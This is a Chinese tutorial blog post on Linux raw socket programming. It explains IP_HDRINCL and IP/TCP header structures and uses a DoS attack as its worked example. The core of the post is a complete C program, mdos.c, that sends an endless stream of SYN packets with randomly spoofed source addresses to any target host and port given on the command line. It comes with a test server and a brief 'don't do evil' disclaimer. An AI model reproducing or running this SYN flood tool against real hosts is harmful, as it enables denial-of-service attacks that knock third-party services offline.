基于原始套接字编程
在开发面向连接的TCP和面向无连接的UDP程序时，我们所关心的核心问题在于数据收发层面，数据的传输特性由TCP或UDP来保证：
也就是说，对于TCP或UDP的程序开发，焦点在Data字段，我们没法直接对TCP或UDP头部字段进行赤裸裸的修改，当然还有IP头。换句话说，我们对它们头部操作的空间非常受限，只能使用它们已经开放给我们的诸如源、目的IP，源、目的端口等等。
今天我们讨论一下原始套接字的程序开发，用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说，进入正题。
原始套接字的创建方法也不难：socket(AF_INET, SOCK_RAW, protocol)。
重点在protocol字段，这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值，注意：有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。
我们常见的有IPPROTO_TCP，IPPROTO_UDP和IPPROTO_ICMP。
用这种方式我就可以得到原始的IP包了，然后就可以自定义IP所承载的具体协议类型，如TCP，UDP或ICMP，并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码，以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。
先简单复习一下TCP报文的格式，因为我们本身不是讲协议的设计思想，所以只会提及和我们接下来主题相关的字段，如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。
我们目前主要关注上面着色部分的字段就OK了，接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是：
(1) 第一次握手：建立连接时，客户端A发送SYN包(SEQ_NUMBER=j)到服务器B，并进入SYN_SEND状态，等待服务器B确认。
(2) 第二次握手：服务器B收到SYN包，必须确认客户A的SYN(ACK_NUMBER=j+1)，同时自己也发送一个SYN包(SEQ_NUMBER=k)，即SYN+ACK包，此时服务器B进入SYN_RECV状态。
(3) 第三次握手：客户端A收到服务器B的SYN＋ACK包，向服务器B发送确认包ACK(ACK_NUMBER=k+1)，此包发送完毕，客户端A和服务器B进入ESTABLISHED状态，完成三次握手。
至此3次握手结束，TCP通路就建立起来了，然后客户端与服务器开始交互数据。上面描述过程中，SYN包表示TCP数据包的标志位syn=1，同理，ACK表示TCP报文中标志位ack=1，SYN+ACK表示标志位syn=1和ack=1同时成立。
原始套接字还提供了一个非常有用的参数IP_HDRINCL：
- 当开启该参数时：我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项，但是IP报文头部中的标识符字段(设置为0时)和IP首部校验和字段总是由内核自己维护的，不需要我们关心。
- 如果不开启该参数：我们所构造的报文是从IP首部之后的第一个字节开始，IP首部由内核自己维护，首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。
开启IP_HDRINCL特性的模板代码一般为：
const int on =1; if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
printf("setsockopt error!\n");
}
所以，我们还得复习一下IP报文的首部格式：
同样，我们重点关注IP首部中的着色部分区段的填充情况。
struct ip {unsignedint ip_hl:4; /* 4位IP头部长度*/unsignedint ip_v:4; /* 4位版本号 */uint8_t ip_tos; /* 8位服务类型 */uint16_t ip_len; /* 16位数据包长度 */uint16_t ip_id; /* 16位标识符 */uint16_t ip_off; /* fragment offset field */uint8_t ip_ttl; /* 8位生存时间 */uint8_t ip_p; /* 8位协议号 */uint16_t ip_sum; /* 16位首部校验和 */struct in_addr ip_src; /* 32位源地址 */struct in_addr ip_dst; /* 32位目的地址 */};
有了上面的知识做铺垫，接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧：
//mdos.c#include <stdlib.h>#include <stdio.h>#include <errno.h>#include <string.h>#include <unistd.h>#include <netdb.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/in.h>#include <netinet/ip.h>#include <arpa/inet.h>#include <linux/tcp.h>//我们自己写的攻击函数void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);//如果什么都让内核做，那岂不是忒不爽了，咱也试着计算一下校验和。unsigned short check_sum(unsigned short *addr,int len);int main(int argc,char** argv){ int skfd; struct sockaddr_in target; struct hostent *host; const int on=1; unsigned short srcport; if(argc!=4) { printf("Usage:%s target dstport srcport\n",argv[0]); exit(1); } bzero(&target,sizeof(struct sockaddr_in)); target.sin_family=AF_INET; target.sin_port=htons(atoi(argv[2])); if(inet_aton(argv[1],&target.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { printf("TargetName Error:%s\n",hstrerror(h_errno)); exit(1); } target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } //将协议字段置为IPPROTO_TCP，来创建一个TCP的原始套接字 if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){ perror("Create Error"); exit(1); } //用模板代码来开启IP_HDRINCL特性，我们完全自己手动构造IP报文 if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){ perror("IP_HDRINCL failed"); exit(1); } //因为只有root用户才可以play with raw socket :) setuid(getpid()); srcport = atoi(argv[3]); attack(skfd,&target,srcport);}//在该函数中构造整个IP报文，最后调用sendto函数将报文发送出去void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){ char buf[128]={0}; struct ip *ip; struct tcphdr *tcp; int ip_len; //在我们TCP的报文中Data没有字段，所以整个IP报文的长度 ip_len = sizeof(struct ip)+sizeof(struct tcphdr); //开始填充IP首部 ip=(struct ip*)buf; ip->ip_v = IPVERSION; ip->ip_hl = sizeof(struct ip)>>2; ip->ip_tos = 0; ip->ip_len = htons(ip_len); ip->ip_id=0; ip->ip_off=0; ip->ip_ttl=MAXTTL; ip->ip_p=IPPROTO_TCP; ip->ip_sum=0; ip->ip_dst=target->sin_addr; //开始填充TCP首部 tcp = (struct tcphdr*)(buf+sizeof(struct ip)); tcp->source = htons(srcport); tcp->dest = target->sin_port; tcp->seq = random(); tcp->doff = 5; tcp->syn = 1; tcp->check = 0; while(1){ //源地址伪造，我们随便任意生成个地址，让服务器一直等待下去 ip->ip_src.s_addr = random(); tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr)); sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in)); }}//关于CRC校验和的计算，网上一大堆，我就“拿来主义”了unsigned short check_sum(unsigned short *addr,int len){ register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer);}
我们自己编写的TCP服务器程序为serv.c：
#include <stdlib.h>#include <stdio.h>#include <errno.h>#include <string.h>#include <unistd.h>#include <netdb.h>#include <sys/socket.h>#include <netinet/in.h>#include <sys/types.h>#include <arpa/inet.h>int main(int argc, char *argv[]){ int skfd,cnfd,addr_len; struct sockaddr_in srv_addr,clt_addr; int portnumber; char hello[]="Hello! Long time no see.\n"; if(2 != argc || 0 > (portnumber=atoi(argv[1]))) { printf("Usage:%s port\n",argv[0]); exit(1); } /* 创建IPv4的流式套接字描述符 */ if(-1 == (skfd=socket(AF_INET,SOCK_STREAM,0))) { perror("Socket Error:"); exit(1); } /* 填充服务器端sockaddr地址结构 */ bzero(&srv_addr,sizeof(struct sockaddr_in)); srv_addr.sin_family=AF_INET; srv_addr.sin_addr.s_addr=htonl(INADDR_ANY); srv_addr.sin_port=htons(portnumber); /* 将套接字描述符skfd和地址信息结构体绑定起来 */ if(-1 == bind(skfd,(struct sockaddr *)(&srv_addr),sizeof(struct sockaddr))) { perror("Bind error:"); exit(1); } /* 将skfd转换为被动 */ if(-1 == listen(skfd,4)) { perror("Listen error:"); exit(1); } while(1) { /* 调用accept,服务器端一直阻塞，直到客户程序与其建立连接成功为止*/ addr_len=sizeof(struct sockaddr_in); if(-1 == (cnfd=accept(skfd,(struct sockaddr *)(&clt_addr),&addr_len))) { perror("Accept error:"); exit(1); } printf("Connect from %s:%u ...!\n",inet_ntoa(clt_addr.sin_addr),ntohs(clt_addr.sin_port)); if(-1 == write(cnfd,hello,strlen(hello))){ perror("Send error:"); exit(1); } close(cnfd); } close(skfd); exit(0);}
用前面我们自己编写 TCP 服务器端程序（serv.c）来做本地测试，看看效果。先把服务器端程序启动起来，如下：
然后，我们编写的“捣蛋”程序登场了：
mdos程序执行一段时间后，服务器端的输出如下：
因为我们的源IP地址是随机生成的，源端口固定为8888，服务器端收到我们的SYN报文后，会为其分配一条连接资源，并将该连接的状态置为SYN_RECV，然后给客户端回送一个确认，并要求客户端再次确认，可我们却不再bird别个了，这样就会造成服务端一直等待直到超时。
备注：本程序仅供交流分享使用，不要做恶，不然后果自负哦。
最后补充一点，看到很多新手经常对struct ip{}和struct iphdr{}，struct icmp{}和struct icmphdr{}纠结来纠结去了，不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义，头文件中对这些结构也做了很明确的说明，这里我们简单总结一下：
struct ip{}、struct icmp{}是供BSD系统层使用，struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了，参见tcp.h和udp.h。
BSD和INET的解释在协议栈篇章详细论述，这里大家可以简单这样来理解：我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢？良好的编程习惯当然是BSD层推荐我们使用的，struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不？我只能说不建议。看个例子：
我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的，ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节，那么BSD层为什么是28字节呢？留给大家思考。也就是说，我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码：
struct ip *ip;…ip=(struct ip*)buf;ip->ip_v = IPVERSION;ip->ip_hl = sizeof(struct ip)>>2;ip->ip_tos = 0;ip->ip_len = htons(ip_len);ip->ip_id=0;ip->ip_off=0;ip->ip_ttl=MAXTTL;ip->ip_p=IPPROTO_TCP;ip->ip_sum=0;ip->ip_dst=target->sin_addr;…ip->ip_src.s_addr = random();改为：
struct iphdr *ip;…ip=(struct iphdr*)buf;ip->version = IPVERSION;ip->ihl = sizeof(struct ip)>>2;ip->tos = 0;ip->tot_len = htons(ip_len);ip->id=0;ip->frag_off=0;ip->ttl=MAXTTL;ip->protocol=IPPROTO_TCP;ip->check=0;ip->daddr=target->sin_addr.s_addr;…ip->saddr = random();
小结：
1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。
2、只有超级用户才能创建原始套接字。
3、原始套接字上也可以调用connet、bind之类的函数，但都不常见。